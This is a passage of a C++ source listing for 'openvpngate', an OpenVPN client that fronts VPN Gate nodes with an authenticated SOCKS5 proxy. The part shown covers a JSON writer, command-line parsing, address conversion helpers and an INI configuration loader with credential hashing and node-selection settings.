#if OVG_WITH_TUNNEL
// Declared only in a build that has one: a unique_ptr member needs a complete
// type at the point the destructor is generated, and without the tunnel there
// is no definition of Stack to be had.
std::unique_ptr<netstack::Stack> stack_;
#endif
std::unique_ptr<egress::EgressManager> egress_;
std::unique_ptr<socks5::Server> socks_;
std::unique_ptr<health::HealthMonitor> health_;
std::unique_ptr<health::SwitchController> switcher_;
std::unique_ptr<AdminServer> admin_;
std::vector<std::thread> threads_;
std::atomic<bool> stopping_{false};
std::atomic<int> stop_requests_{0};
std::chrono::steady_clock::time_point started_{};
};
} // namespace ovg::app
+141
View File
@@ -0,0 +1,141 @@
// A ~100-line JSON *writer*. Not a parser, and never will be.
//
// The admin endpoint emits JSON and reads nothing but a request line, so a
// dependency on a real JSON library would buy escaping rules we can write in
// twenty lines and a parser we would never call. What matters is that the
// escaping is correct -- a node name from a volunteer-run directory ends up in
// this output, and it is not a string we chose.
#pragma once
#include <cmath>
#include <cstdint>
#include <string>
namespace ovg::app {
class Json {
public:
// Objects and arrays track whether a comma is owed, so callers never have to.
Json &obj() { return open('{'); }
Json &end_obj() { return close('}'); }
Json &arr() { return open('['); }
Json &end_arr() { return close(']'); }
Json &key(const std::string &k) {
sep();
quote(k);
out_ += ':';
need_comma_ = false;
return *this;
}
Json &str(const std::string &v) {
sep();
quote(v);
return *this;
}
Json &num(double v) {
sep();
// NaN and infinity are not JSON. Emitting them produces a document no
// client can parse, which is a worse outcome than a wrong-looking zero.
if (!std::isfinite(v)) {
out_ += "0";
return *this;
}
char buf[40];
// %g keeps scores readable (0.83, not 0.8299999999999999) without dropping
// precision that matters at this scale.
std::snprintf(buf, sizeof(buf), "%.6g", v);
out_ += buf;
return *this;
}
Json &num(int64_t v) {
sep();
out_ += std::to_string(v);
return *this;
}
Json &num(uint64_t v) {
sep();
out_ += std::to_string(v);
return *this;
}
Json &num(int v) { return num(static_cast<int64_t>(v)); }
Json &boolean(bool v) {
sep();
out_ += v ? "true" : "false";
return *this;
}
Json &null() {
sep();
out_ += "null";
return *this;
}
// key + value in one call, which is what almost every call site wants.
template <typename T>
Json &kv(const std::string &k, const T &v) {
key(k);
return set(v);
}
const std::string &str() const { return out_; }
std::string take() { return std::move(out_); }
private:
Json &set(const std::string &v) { return str(v); }
Json &set(const char *v) { return str(v); }
Json &set(bool v) { return boolean(v); }
Json &set(double v) { return num(v); }
Json &set(int v) { return num(v); }
Json &set(int64_t v) { return num(v); }
Json &set(uint64_t v) { return num(v); }
Json &set(uint32_t v) { return num(static_cast<uint64_t>(v)); }
Json &open(char c) {
sep();
out_ += c;
need_comma_ = false;
return *this;
}
Json &close(char c) {
out_ += c;
need_comma_ = true;
return *this;
}
void sep() {
if (need_comma_) out_ += ',';
need_comma_ = true;
}
void quote(const std::string &s) {
out_ += '"';
for (unsigned char c : s) {
switch (c) {
case '"': out_ += "\\\""; break;
case '\\': out_ += "\\\\"; break;
case '\n': out_ += "\\n"; break;
case '\r': out_ += "\\r"; break;
case '\t': out_ += "\\t"; break;
case '\b': out_ += "\\b"; break;
case '\f': out_ += "\\f"; break;
default:
// Everything below 0x20 must be escaped; everything at or above it
// is passed through as-is, which keeps valid UTF-8 (node names carry
// it) intact byte for byte.
if (c < 0x20) {
char buf[8];
std::snprintf(buf, sizeof(buf), "\\u%04x", c);
out_ += buf;
} else {
out_ += static_cast<char>(c);
}
}
}
out_ += '"';
}
std::string out_;
bool need_comma_ = false;
};
} // namespace ovg::app
+186
View File
@@ -0,0 +1,186 @@
// Entry point: parse the command line, load the config, hand off to App.
//
// Everything here is deliberately dumb. If a decision is being made in main(),
// it belongs in a module -- the only thing this file is allowed to know is how
// to turn argv into a Config and a Config into an exit code.
#include <cstdio>
#include <cstring>
#include <string>
#include <vector>
#include "app/app.h"
#include "common/config.h"
#include "common/logging.h"
namespace {
constexpr const char *kUsage =
"openvpngate -- OpenVPN client with an authenticated SOCKS5 front door\n"
"\n"
"Usage: openvpngate [options]\n"
"\n"
" -c, --config PATH configuration file (INI); required unless\n"
" every default is acceptable\n"
" --check load and validate the config, print it, exit\n"
" --listen ADDR:PORT\n"
" override socks5.listen_address/listen_port\n"
" --egress MODE override egress_mode ('tunnel' or 'direct')\n"
" --log-level LEVEL trace|debug|info|warn|error|off\n"
" --no-admin disable the admin HTTP endpoint\n"
" -h, --help this text\n"
" -V, --version print the version and exit\n"
"\n"
"Signals:\n"
" SIGINT/SIGTERM graceful shutdown; a second one stops immediately\n"
" SIGHUP reload the auth file and refresh the node list\n";
constexpr const char *kVersion = "openvpngate 0.1.0";
// "1.2.3.4:1080" or ":1080" or "1.2.3.4". Returns false on anything else.
bool split_listen(const std::string &text, std::string *addr, uint16_t *port) {
const auto colon = text.rfind(':');
if (colon == std::string::npos) {
*addr = text;
return !addr->empty();
}
if (colon > 0) *addr = text.substr(0, colon);
const std::string p = text.substr(colon + 1);
if (p.empty()) return false;
try {
const unsigned long v = std::stoul(p);
if (v == 0 || v > 65535) return false;
*port = static_cast<uint16_t>(v);
} catch (const std::exception &) {
return false;
}
return true;
}
} // namespace
int main(int argc, char **argv) {
using namespace ovg;
std::string config_path;
std::string listen_override;
std::string egress_override;
std::string level_override;
bool check_only = false;
bool no_admin = false;
for (int i = 1; i < argc; ++i) {
const std::string a = argv[i];
auto next = [&](const char *what) -> const char * {
if (i + 1 >= argc) {
std::fprintf(stderr, "%s needs an argument\n", what);
std::exit(2);
}
return argv[++i];
};
if (a == "-h" || a == "--help") {
std::fputs(kUsage, stdout);
return 0;
}
if (a == "-V" || a == "--version") {
std::printf("%s\n", kVersion);
return 0;
}
if (a == "-c" || a == "--config") {
config_path = next("--config");
} else if (a == "--check") {
check_only = true;
} else if (a == "--listen") {
listen_override = next("--listen");
} else if (a == "--egress") {
egress_override = next("--egress");
} else if (a == "--log-level") {
level_override = next("--log-level");
} else if (a == "--no-admin") {
no_admin = true;
} else {
std::fprintf(stderr, "unknown option '%s'\n\n%s", a.c_str(), kUsage);
return 2;
}
}
Config cfg;
std::string err;
if (!config_path.empty()) {
if (!Config::load_file(config_path, &cfg, &err)) {
std::fprintf(stderr, "config: %s\n", err.c_str());
return 2;
}
} else {
std::fprintf(stderr,
"no --config given; running on defaults "
"(SOCKS5 on 127.0.0.1:1080, no credentials configured)\n");
}
// Overrides land after the file and before validation, so a bad flag is
// rejected by the same rules as a bad file.
if (!listen_override.empty()) {
if (!split_listen(listen_override, &cfg.socks5.listen_address,
&cfg.socks5.listen_port)) {
std::fprintf(stderr, "--listen: expected ADDR:PORT, got '%s'\n",
listen_override.c_str());
return 2;
}
}
if (!egress_override.empty()) cfg.egress_mode = egress_override;
if (!level_override.empty()) {
cfg.logging.level = log::level_from_string(level_override);
}
if (no_admin) cfg.admin.enabled = false;
if (!cfg.validate(&err)) {
std::fprintf(stderr, "config: %s\n", err.c_str());
return 2;
}
// A proxy that requires auth with nobody configured accepts nobody, which is
// safe but almost certainly not what was meant. Say so once, loudly, here --
// not at the first failed login, where it looks like a client problem.
if (cfg.socks5.require_auth && cfg.socks5.users.empty()) {
std::fprintf(stderr,
"warning: socks5.require_auth is on but no credentials are "
"configured; every login will be refused\n");
}
if (check_only) {
std::printf(
"config ok\n"
" socks5 %s:%u auth=%s users=%zu max_sessions=%zu udp=%s\n"
" admin %s\n"
" egress %s\n"
" selector probe %zu candidate(s) x%zu sample(s)\n"
" switching %s, drain %lldms, margin %.0f%%, rehome=%s/%s\n"
" health every %lldms, %d window(s), probe %s:%u\n",
cfg.socks5.listen_address.c_str(), cfg.socks5.listen_port,
cfg.socks5.require_auth ? "required" : "optional", cfg.socks5.users.size(),
cfg.socks5.max_sessions,
cfg.socks5.udp_associate_enabled ? "on" : "off",
cfg.admin.enabled ? (cfg.admin.listen_address + ":" +
std::to_string(cfg.admin.listen_port))
.c_str()
: "disabled",
cfg.egress_mode.c_str(), cfg.selector.probe_candidates,
cfg.selector.probe_samples,
cfg.switching.mode == SwitchConfig::Mode::Graceful ? "graceful" : "hard",
static_cast<long long>(cfg.switching.drain_grace.count()),
cfg.switching.improvement_margin * 100.0,
cfg.switching.retry_zero_progress ? "tcp" : "-",
cfg.switching.rehome_udp ? "udp" : "-",
static_cast<long long>(cfg.health.interval.count()),
cfg.health.unhealthy_windows, cfg.health.probe_domain.c_str(),
cfg.health.probe_port);
return 0;
}
app::App app(std::move(cfg));
if (!app.start(&err)) {
std::fprintf(stderr, "startup failed: %s\n", err.c_str());
return 1;
}
return app.run();
}
+57
View File
@@ -0,0 +1,57 @@
// Conversions between our address types and asio's.
//
// Kept out of endpoint.h on purpose: Endpoint is what the SOCKS5 codec and the
// netstack traffic in, and neither should have to see asio's headers to parse
// an address. Only the code that actually touches host sockets -- the direct
// egress, the SOCKS5 listener, the admin server -- needs this.
#pragma once
#include <asio.hpp>
#include <cstdint>
#include <string>
#include "common/endpoint.h"
namespace ovg {
inline asio::ip::address to_asio(const IpAddress &a) {
if (!a.valid()) return {};
if (a.is_v4()) {
return asio::ip::address_v4(a.v4_host_order());
}
asio::ip::address_v6::bytes_type b{};
const auto &raw = a.bytes();
for (size_t i = 0; i < b.size(); ++i) b[i] = raw[i];
return asio::ip::address_v6(b);
}
inline IpAddress from_asio(const asio::ip::address &a) {
if (a.is_v4()) return IpAddress::from_v4(a.to_v4().to_uint());
if (a.is_v6()) {
const auto b = a.to_v6().to_bytes();
return IpAddress::from_bytes_v6(b.data());
}
return {};
}
inline Endpoint from_asio(const asio::ip::tcp::endpoint &ep) {
return Endpoint(from_asio(ep.address()), ep.port());
}
inline Endpoint from_asio(const asio::ip::udp::endpoint &ep) {
return Endpoint(from_asio(ep.address()), ep.port());
}
// Only meaningful for an Endpoint that already holds a literal address; a
// domain-kind Endpoint yields an unspecified address, which every caller here
// rejects before it gets this far.
inline asio::ip::tcp::endpoint to_asio_tcp(const Endpoint &e) {
return asio::ip::tcp::endpoint(to_asio(e.address()), e.port());
}
inline asio::ip::udp::endpoint to_asio_udp(const Endpoint &e) {
return asio::ip::udp::endpoint(to_asio(e.address()), e.port());
}
} // namespace ovg
+530
View File
@@ -0,0 +1,530 @@
#include "common/config.h"
#include <openssl/evp.h>
#include <openssl/rand.h>
#include <algorithm>
#include <cctype>
#include <charconv>
#include <fstream>
#include <set>
#include <sstream>
#include "common/endpoint.h"
namespace ovg {
namespace {
std::string trim(std::string_view s) {
size_t b = 0, e = s.size();
while (b < e && std::isspace(static_cast<unsigned char>(s[b]))) ++b;
while (e > b && std::isspace(static_cast<unsigned char>(s[e - 1]))) --e;
return std::string(s.substr(b, e - b));
}
std::string to_lower(std::string s) {
std::transform(s.begin(), s.end(), s.begin(),
[](unsigned char c) { return std::tolower(c); });
return s;
}
std::vector<std::string> split_list(const std::string &s) {
std::vector<std::string> out;
std::string cur;
for (char c : s) {
if (c == ',') {
auto t = trim(cur);
if (!t.empty()) out.push_back(t);
cur.clear();
} else {
cur += c;
}
}
auto t = trim(cur);
if (!t.empty()) out.push_back(t);
return out;
}
std::string hex_encode(const unsigned char *data, size_t len) {
static const char *kHex = "0123456789abcdef";
std::string out;
out.reserve(len * 2);
for (size_t i = 0; i < len; ++i) {
out += kHex[data[i] >> 4];
out += kHex[data[i] & 0x0f];
}
return out;
}
std::string sha256_hex(const std::string &input) {
unsigned char md[EVP_MAX_MD_SIZE];
unsigned int md_len = 0;
EVP_MD_CTX *ctx = EVP_MD_CTX_new();
if (!ctx) return {};
std::string out;
if (EVP_DigestInit_ex(ctx, EVP_sha256(), nullptr) == 1 &&
EVP_DigestUpdate(ctx, input.data(), input.size()) == 1 &&
EVP_DigestFinal_ex(ctx, md, &md_len) == 1) {
out = hex_encode(md, md_len);
}
EVP_MD_CTX_free(ctx);
return out;
}
// ---------------------------------------------------------------------------
// A deliberately small INI reader. Keys are stored as "section.key".
class Ini {
public:
bool parse(const std::string &text, std::string *err) {
std::istringstream in(text);
std::string line;
std::string section;
int lineno = 0;
while (std::getline(in, line)) {
++lineno;
// Strip comments, but only when '#'/';' starts a token -- passwords and
// URLs legitimately contain '#'.
for (size_t i = 0; i < line.size(); ++i) {
if ((line[i] == '#' || line[i] == ';') &&
(i == 0 || std::isspace(static_cast<unsigned char>(line[i - 1])))) {
line = line.substr(0, i);
break;
}
}
auto s = trim(line);
if (s.empty()) continue;
if (s.front() == '[') {
if (s.back() != ']') {
if (err) *err = "line " + std::to_string(lineno) + ": bad section header";
return false;
}
section = to_lower(trim(s.substr(1, s.size() - 2)));
continue;
}
const auto eq = s.find('=');
if (eq == std::string::npos) {
if (err) *err = "line " + std::to_string(lineno) + ": expected key = value";
return false;
}
auto key = to_lower(trim(s.substr(0, eq)));
auto value = trim(s.substr(eq + 1));
if (key.empty()) {
if (err) *err = "line " + std::to_string(lineno) + ": empty key";
return false;
}
const std::string full = section.empty() ? key : section + "." + key;
// Sections whose keys are user-defined (credentials) keep every entry.
if (section == "users")
users_.emplace_back(key, value);
else
kv_[full] = value;
seen_.push_back(full);
}
return true;
}
bool has(const std::string &k) const { return kv_.count(k) > 0; }
std::string str(const std::string &k, const std::string &dflt) const {
read_.insert(k);
auto it = kv_.find(k);
return it == kv_.end() ? dflt : it->second;
}
bool boolean(const std::string &k, bool dflt, std::string *err) const {
read_.insert(k);
auto it = kv_.find(k);
if (it == kv_.end()) return dflt;
const auto v = to_lower(it->second);
if (v == "true" || v == "yes" || v == "1" || v == "on") return true;
if (v == "false" || v == "no" || v == "0" || v == "off") return false;
if (err) *err = k + ": expected a boolean, got '" + it->second + "'";
return dflt;
}
template <typename T>
T number(const std::string &k, T dflt, std::string *err) const {
read_.insert(k);
auto it = kv_.find(k);
if (it == kv_.end()) return dflt;
T v{};
const char *b = it->second.data();
const char *e = b + it->second.size();
const auto r = std::from_chars(b, e, v);
if (r.ec != std::errc{} || r.ptr != e) {
if (err) *err = k + ": expected a number, got '" + it->second + "'";
return dflt;
}
return v;
}
Millis duration(const std::string &k, Millis dflt, std::string *err) const {
read_.insert(k);
auto it = kv_.find(k);
if (it == kv_.end()) return dflt;
Millis out{};
if (!parse_duration(it->second, &out)) {
if (err) *err = k + ": expected a duration, got '" + it->second + "'";
return dflt;
}
return out;
}
std::vector<std::string> list(const std::string &k,
std::vector<std::string> dflt) const {
read_.insert(k);
auto it = kv_.find(k);
if (it == kv_.end()) return dflt;
return split_list(it->second);
}
const std::vector<std::pair<std::string, std::string>> &users() const {
read_prefixes_.push_back("users."); // [users] keys are user-defined
return users_;
}
// Keys under [log.modules] become per-module levels.
std::map<std::string, std::string> prefixed(const std::string &prefix) const {
read_prefixes_.push_back(prefix);
std::map<std::string, std::string> out;
for (const auto &[k, v] : kv_) {
if (k.rfind(prefix, 0) == 0 && k.size() > prefix.size())
out[k.substr(prefix.size())] = v;
}
return out;
}
// Every key the loader never asked about. A key we do not read is a key that
// silently does nothing -- almost always a typo, and the kind that only shows
// up as "why is my timeout still 30s" hours later. Callers turn this into a
// hard load error.
std::vector<std::string> unread() const {
std::vector<std::string> out;
for (const auto &k : seen_) {
if (read_.count(k)) continue;
bool by_prefix = false;
for (const auto &p : read_prefixes_)
if (k.rfind(p, 0) == 0) by_prefix = true;
if (!by_prefix) out.push_back(k);
}
return out;
}
private:
std::map<std::string, std::string> kv_;
std::vector<std::pair<std::string, std::string>> users_;
std::vector<std::string> seen_;
mutable std::set<std::string> read_;
mutable std::vector<std::string> read_prefixes_;
};
} // namespace
bool parse_duration(const std::string &text, Millis *out) {
if (text.empty()) return false;
size_t idx = 0;
while (idx < text.size() &&
(std::isdigit(static_cast<unsigned char>(text[idx])) ||
text[idx] == '.' || text[idx] == '-'))
++idx;
if (idx == 0) return false;
double value = 0;
try {
value = std::stod(text.substr(0, idx));
} catch (...) {
return false;
}
if (value < 0) return false;
const std::string unit = to_lower(trim(text.substr(idx)));
double mult = 1000.0; // bare number = seconds
if (unit == "ms") mult = 1.0;
else if (unit == "s" || unit.empty()) mult = 1000.0;
else if (unit == "m" || unit == "min") mult = 60.0 * 1000.0;
else if (unit == "h") mult = 3600.0 * 1000.0;
else if (unit == "d") mult = 86400.0 * 1000.0;
else return false;
*out = Millis(static_cast<int64_t>(value * mult));
return true;
}
Credential make_credential(const std::string &user,
const std::string &password) {
unsigned char salt[16];
if (RAND_bytes(salt, sizeof(salt)) != 1) {
// RAND_bytes failing means the CSPRNG is broken; refusing is safer than
// silently producing a weak credential.
return Credential{user, "", ""};
}
Credential c;
c.username = user;
c.salt_hex = hex_encode(salt, sizeof(salt));
c.hash_hex = sha256_hex(c.salt_hex + password);
return c;
}
bool verify_credential(const Credential &c, const std::string &password) {
if (c.hash_hex.empty()) return false;
const std::string got = sha256_hex(c.salt_hex + password);
if (got.size() != c.hash_hex.size()) return false;
// Constant-time compare: never leak the matching prefix length via timing.
unsigned diff = 0;
for (size_t i = 0; i < got.size(); ++i)
diff |= static_cast<unsigned>(got[i] ^ c.hash_hex[i]);
return diff == 0;
}
bool load_auth_file(const std::string &path, std::vector<Credential> *out,
std::string *err) {
std::ifstream in(path);
if (!in) {
if (err) *err = "cannot open auth file: " + path;
return false;
}
std::string line;
int lineno = 0;
while (std::getline(in, line)) {
++lineno;
auto s = trim(line);
if (s.empty() || s[0] == '#') continue;
const auto colon = s.find(':');
if (colon == std::string::npos || colon == 0) {
if (err) *err = path + ":" + std::to_string(lineno) + ": expected user:secret";
return false;
}
const std::string user = s.substr(0, colon);
const std::string secret = s.substr(colon + 1);
// Pre-hashed form: sha256$<salt_hex>$<hash_hex>
if (secret.rfind("sha256$", 0) == 0) {
const auto rest = secret.substr(7);
const auto sep = rest.find('$');
if (sep == std::string::npos) {
if (err) *err = path + ":" + std::to_string(lineno) + ": malformed sha256 entry";
return false;
}
out->push_back(Credential{user, rest.substr(0, sep), rest.substr(sep + 1)});
} else {
out->push_back(make_credential(user, secret));
}
}
return true;
}
bool Config::load_file(const std::string &path, Config *out, std::string *err) {
std::ifstream in(path);
if (!in) {
if (err) *err = "cannot open config file: " + path;
return false;
}
std::stringstream ss;
ss << in.rdbuf();
return load_string(ss.str(), out, err);
}
bool Config::load_string(const std::string &text, Config *out,
std::string *err) {
Ini ini;
if (!ini.parse(text, err)) return false;
Config c; // start from defaults; only assign into the local copy
std::string e;
// ---- logging -------------------------------------------------------------
c.logging.level = log::level_from_string(ini.str("log.level", "info"));
c.logging.file = ini.str("log.file", "-");
for (const auto &[mod, lvl] : ini.prefixed("log.modules."))
c.logging.module_levels[mod] = log::level_from_string(lvl);
// ---- socks5 --------------------------------------------------------------
auto &s5 = c.socks5;
s5.listen_address = ini.str("socks5.listen_address", s5.listen_address);
s5.listen_port = ini.number<uint16_t>("socks5.listen_port", s5.listen_port, &e);
s5.require_auth = ini.boolean("socks5.require_auth", s5.require_auth, &e);
s5.advertise_address = ini.str("socks5.advertise_address", s5.advertise_address);
s5.udp_associate_enabled =
ini.boolean("socks5.udp_associate", s5.udp_associate_enabled, &e);
s5.max_sessions = ini.number<size_t>("socks5.max_sessions", s5.max_sessions, &e);
s5.handshake_timeout = ini.duration("socks5.handshake_timeout", s5.handshake_timeout, &e);
s5.connect_timeout = ini.duration("socks5.connect_timeout", s5.connect_timeout, &e);
s5.idle_timeout = ini.duration("socks5.idle_timeout", s5.idle_timeout, &e);
s5.udp_idle_timeout = ini.duration("socks5.udp_idle_timeout", s5.udp_idle_timeout, &e);
s5.relay_buffer_size = ini.number<size_t>("socks5.relay_buffer_size", s5.relay_buffer_size, &e);
s5.io_threads = ini.number<int>("socks5.io_threads", s5.io_threads, &e);
s5.auth_file = ini.str("socks5.auth_file", s5.auth_file);
for (const auto &[user, pass] : ini.users())
s5.users.push_back(make_credential(user, pass));
if (!s5.auth_file.empty() && !load_auth_file(s5.auth_file, &s5.users, err))
return false;
// ---- vpngate -------------------------------------------------------------
auto &vg = c.vpngate;
vg.api_urls = ini.list("vpngate.api_urls", vg.api_urls);
vg.refresh_interval = ini.duration("vpngate.refresh_interval", vg.refresh_interval, &e);
vg.http_timeout = ini.duration("vpngate.http_timeout", vg.http_timeout, &e);
vg.cache_path = ini.str("vpngate.cache_path", vg.cache_path);
vg.cache_max_age = ini.duration("vpngate.cache_max_age", vg.cache_max_age, &e);
vg.max_response_bytes = ini.number<size_t>("vpngate.max_response_bytes", vg.max_response_bytes, &e);
// ---- selector ------------------------------------------------------------
auto &sel = c.selector;
sel.country_allow = ini.list("selector.country_allow", sel.country_allow);
sel.country_deny = ini.list("selector.country_deny", sel.country_deny);
sel.prefer_udp = ini.boolean("selector.prefer_udp", sel.prefer_udp, &e);
sel.probe_candidates = ini.number<size_t>("selector.probe_candidates", sel.probe_candidates, &e);
sel.probe_samples = ini.number<size_t>("selector.probe_samples", sel.probe_samples, &e);
sel.probe_timeout = ini.duration("selector.probe_timeout", sel.probe_timeout, &e);
sel.probe_concurrency = ini.number<size_t>("selector.probe_concurrency", sel.probe_concurrency, &e);
// Scoring weights. Tunable because the right blend depends on what the link
// is for -- a bulk download cares about advertised speed, an interactive
// session cares about RTT and about nothing else.
sel.w_score = ini.number<double>("selector.w_score", sel.w_score, &e);
sel.w_speed = ini.number<double>("selector.w_speed", sel.w_speed, &e);
sel.w_sessions = ini.number<double>("selector.w_sessions", sel.w_sessions, &e);
sel.w_uptime = ini.number<double>("selector.w_uptime", sel.w_uptime, &e);
sel.w_rtt = ini.number<double>("selector.w_rtt", sel.w_rtt, &e);
sel.w_prior = ini.number<double>("selector.w_prior", sel.w_prior, &e);
sel.w_history = ini.number<double>("selector.w_history", sel.w_history, &e);
sel.history_path = ini.str("selector.history_path", sel.history_path);
sel.failure_backoff_initial = ini.duration("selector.failure_backoff_initial", sel.failure_backoff_initial, &e);
sel.failure_backoff_max = ini.duration("selector.failure_backoff_max", sel.failure_backoff_max, &e);
// ---- switching -----------------------------------------------------------
auto &sw = c.switching;
const auto mode = to_lower(ini.str("switch.mode", "graceful"));
if (mode == "graceful") sw.mode = SwitchConfig::Mode::Graceful;
else if (mode == "hard") sw.mode = SwitchConfig::Mode::Hard;
else {
if (err) *err = "switch.mode: expected 'graceful' or 'hard'";
return false;
}
sw.drain_grace = ini.duration("switch.drain_grace", sw.drain_grace, &e);
sw.max_draining = ini.number<size_t>("switch.max_draining", sw.max_draining, &e);
sw.min_interval = ini.duration("switch.min_interval", sw.min_interval, &e);
sw.improvement_margin = ini.number<double>("switch.improvement_margin", sw.improvement_margin, &e);
sw.backoff_initial = ini.duration("switch.backoff_initial", sw.backoff_initial, &e);
sw.backoff_max = ini.duration("switch.backoff_max", sw.backoff_max, &e);
sw.retry_zero_progress = ini.boolean("switch.retry_zero_progress", sw.retry_zero_progress, &e);
sw.rehome_udp = ini.boolean("switch.rehome_udp", sw.rehome_udp, &e);
sw.opportunistic_interval =
ini.duration("switch.opportunistic_interval", sw.opportunistic_interval, &e);
// ---- health --------------------------------------------------------------
auto &h = c.health;
h.interval = ini.duration("health.interval", h.interval, &e);
h.unhealthy_windows = ini.number<int>("health.unhealthy_windows", h.unhealthy_windows, &e);
h.probe_timeout = ini.duration("health.probe_timeout", h.probe_timeout, &e);
h.probe_domain = ini.str("health.probe_domain", h.probe_domain);
h.probe_port = ini.number<uint16_t>("health.probe_port", h.probe_port, &e);
h.min_score = ini.number<double>("health.min_score", h.min_score, &e);
h.max_connect_failure_rate = ini.number<double>("health.max_connect_failure_rate", h.max_connect_failure_rate, &e);
h.stall_threshold = ini.duration("health.stall_threshold", h.stall_threshold, &e);
// ---- ovpn ----------------------------------------------------------------
auto &o = c.ovpn;
o.allow_legacy_algorithms = ini.boolean("ovpn.allow_legacy_algorithms", o.allow_legacy_algorithms, &e);
o.username = ini.str("ovpn.username", o.username);
o.password = ini.str("ovpn.password", o.password);
o.connect_timeout_s = ini.number<int>("ovpn.connect_timeout", o.connect_timeout_s, &e);
o.compression = ini.boolean("ovpn.compression", o.compression, &e);
o.tunnel_up_timeout_s = ini.number<int>("ovpn.tunnel_up_timeout", o.tunnel_up_timeout_s, &e);
o.packet_socket_buffer = ini.number<int>("ovpn.packet_socket_buffer", o.packet_socket_buffer, &e);
// ---- dns -----------------------------------------------------------------
auto &d = c.dns;
d.fallback_servers = ini.list("dns.fallback_servers", d.fallback_servers);
d.timeout = ini.duration("dns.timeout", d.timeout, &e);
d.cache_entries = ini.number<size_t>("dns.cache_entries", d.cache_entries, &e);
d.min_ttl = ini.duration("dns.min_ttl", d.min_ttl, &e);
d.max_ttl = ini.duration("dns.max_ttl", d.max_ttl, &e);
d.prefer_ipv4 = ini.boolean("dns.prefer_ipv4", d.prefer_ipv4, &e);
// ---- admin ---------------------------------------------------------------
c.admin.enabled = ini.boolean("admin.enabled", c.admin.enabled, &e);
c.admin.listen_address = ini.str("admin.listen_address", c.admin.listen_address);
c.admin.listen_port = ini.number<uint16_t>("admin.listen_port", c.admin.listen_port, &e);
c.egress_mode = to_lower(ini.str("egress.mode", c.egress_mode));
if (!e.empty()) {
if (err) *err = e;
return false;
}
const auto stray = ini.unread();
if (!stray.empty()) {
std::string msg = "unknown config key(s): ";
for (size_t i = 0; i < stray.size(); ++i) {
if (i) msg += ", ";
msg += stray[i];
}
if (err) *err = msg;
return false;
}
if (!c.validate(err)) return false;
*out = std::move(c);
return true;
}
bool Config::validate(std::string *err) const {
auto fail = [&](std::string m) {
if (err) *err = std::move(m);
return false;
};
if (socks5.listen_port == 0) return fail("socks5.listen_port must be non-zero");
if (socks5.max_sessions == 0) return fail("socks5.max_sessions must be non-zero");
if (socks5.relay_buffer_size < 1024)
return fail("socks5.relay_buffer_size must be at least 1024");
if (socks5.require_auth && socks5.users.empty())
return fail("socks5.require_auth is set but no users are configured "
"(use [users] or socks5.auth_file)");
for (const auto &u : socks5.users)
if (u.hash_hex.empty())
return fail("credential for user '" + u.username + "' could not be hashed");
if (egress_mode != "tunnel" && egress_mode != "direct")
return fail("egress.mode must be 'tunnel' or 'direct'");
if (vpngate.api_urls.empty()) return fail("vpngate.api_urls must not be empty");
if (selector.probe_candidates == 0)
return fail("selector.probe_candidates must be non-zero");
if (selector.probe_samples == 0)
return fail("selector.probe_samples must be non-zero");
// Negative weights would invert a term rather than disable it, which is
// almost never what someone editing a config means. Zero is how you turn one
// off. They need not sum to 1: the scorer normalises.
for (const auto &[name, w] : {std::pair<const char *, double>{"w_score", selector.w_score},
{"w_speed", selector.w_speed},
{"w_sessions", selector.w_sessions},
{"w_uptime", selector.w_uptime},
{"w_rtt", selector.w_rtt},
{"w_prior", selector.w_prior},
{"w_history", selector.w_history}}) {
if (w < 0.0)
return fail(std::string("selector.") + name + " must be >= 0");
}
if (switching.max_draining == 0 && switching.mode == SwitchConfig::Mode::Graceful)
return fail("switch.max_draining must be non-zero in graceful mode");
if (switching.improvement_margin < 0.0)
return fail("switch.improvement_margin must be >= 0");
if (health.unhealthy_windows < 1)
return fail("health.unhealthy_windows must be >= 1");
if (dns.fallback_servers.empty())
return fail("dns.fallback_servers must not be empty");
// Fallback resolvers must be literals: resolving them would need a resolver.
for (const auto &s : dns.fallback_servers)
if (!IpAddress::parse(s).has_value())
return fail("dns.fallback_servers must be IP literals, got '" + s + "'");
return true;
}
} // namespace ovg
+196
View File
@@ -0,0 +1,196 @@
// Configuration model and INI-style loader.
//
// Format:
// [section]
// key = value # comment
// list_key = a, b, c
//
// Durations accept a unit suffix: "30s", "5m", "1h", "250ms". Bare numbers are
// seconds. Keeping the format boring is intentional -- config bugs at 3am are
// worse than a missing feature.
#pragma once
#include <chrono>
#include <cstdint>
#include <map>
#include <string>
#include <vector>
#include "common/logging.h"
namespace ovg {
using Millis = std::chrono::milliseconds;
struct Credential {
std::string username;
// Stored as sha256(salt || password), hex. Never the plaintext.
std::string salt_hex;
std::string hash_hex;
};
struct Socks5Config {
std::string listen_address = "127.0.0.1";
uint16_t listen_port = 1080;
bool require_auth = true;
// Address handed back in the UDP ASSOCIATE reply. Must be reachable *by the
// client*, which is why it cannot just be the listen address when that is
// 0.0.0.0. Empty means "derive from the control connection's local address".
std::string advertise_address;
bool udp_associate_enabled = true;
size_t max_sessions = 1200;
Millis handshake_timeout{10000};
Millis connect_timeout{20000};
Millis idle_timeout{300000};
Millis udp_idle_timeout{60000};
size_t relay_buffer_size = 16384;
int io_threads = 0; // 0 = min(hardware_concurrency, 4)
std::string auth_file;
std::vector<Credential> users;
};
struct VpnGateConfig {
std::vector<std::string> api_urls{
"http://www.vpngate.net/api/iphone/",
"http://www.vpngate.net/api/iphone/", // retried; mirrors can be added
};
Millis refresh_interval{1800000}; // 30m
Millis http_timeout{30000};
std::string cache_path = "var/vpngate_cache.csv";
Millis cache_max_age{21600000}; // 6h -- stale cache still beats no nodes
size_t max_response_bytes = 32u * 1024 * 1024;
};
struct SelectorConfig {
std::vector<std::string> country_allow; // empty = all
std::vector<std::string> country_deny;
bool prefer_udp = true;
size_t probe_candidates = 12;
size_t probe_samples = 3;
Millis probe_timeout{3000};
size_t probe_concurrency = 8;
// Prior (API-derived) weights.
double w_score = 0.35;
double w_speed = 0.30;
double w_sessions = 0.20;
double w_uptime = 0.15;
// Final blend.
double w_rtt = 0.45;
double w_prior = 0.30;
double w_history = 0.25;
std::string history_path = "var/node_history.tsv";
Millis failure_backoff_initial{60000};
Millis failure_backoff_max{3600000};
};
struct SwitchConfig {
enum class Mode {
Graceful, // make-before-break with a bounded drain window
Hard, // promote and immediately close every old session
};
Mode mode = Mode::Graceful;
Millis drain_grace{120000};
size_t max_draining = 2;
Millis min_interval{60000};
double improvement_margin = 0.20; // candidate must beat current by this much
Millis backoff_initial{30000};
Millis backoff_max{480000};
bool retry_zero_progress = true; // transparently re-home untouched sessions
bool rehome_udp = true; // UDP associations survive a switch
// How often to go looking for a *better* node while the current one is
// perfectly healthy. Off by default, and deliberately so: a scan probes a
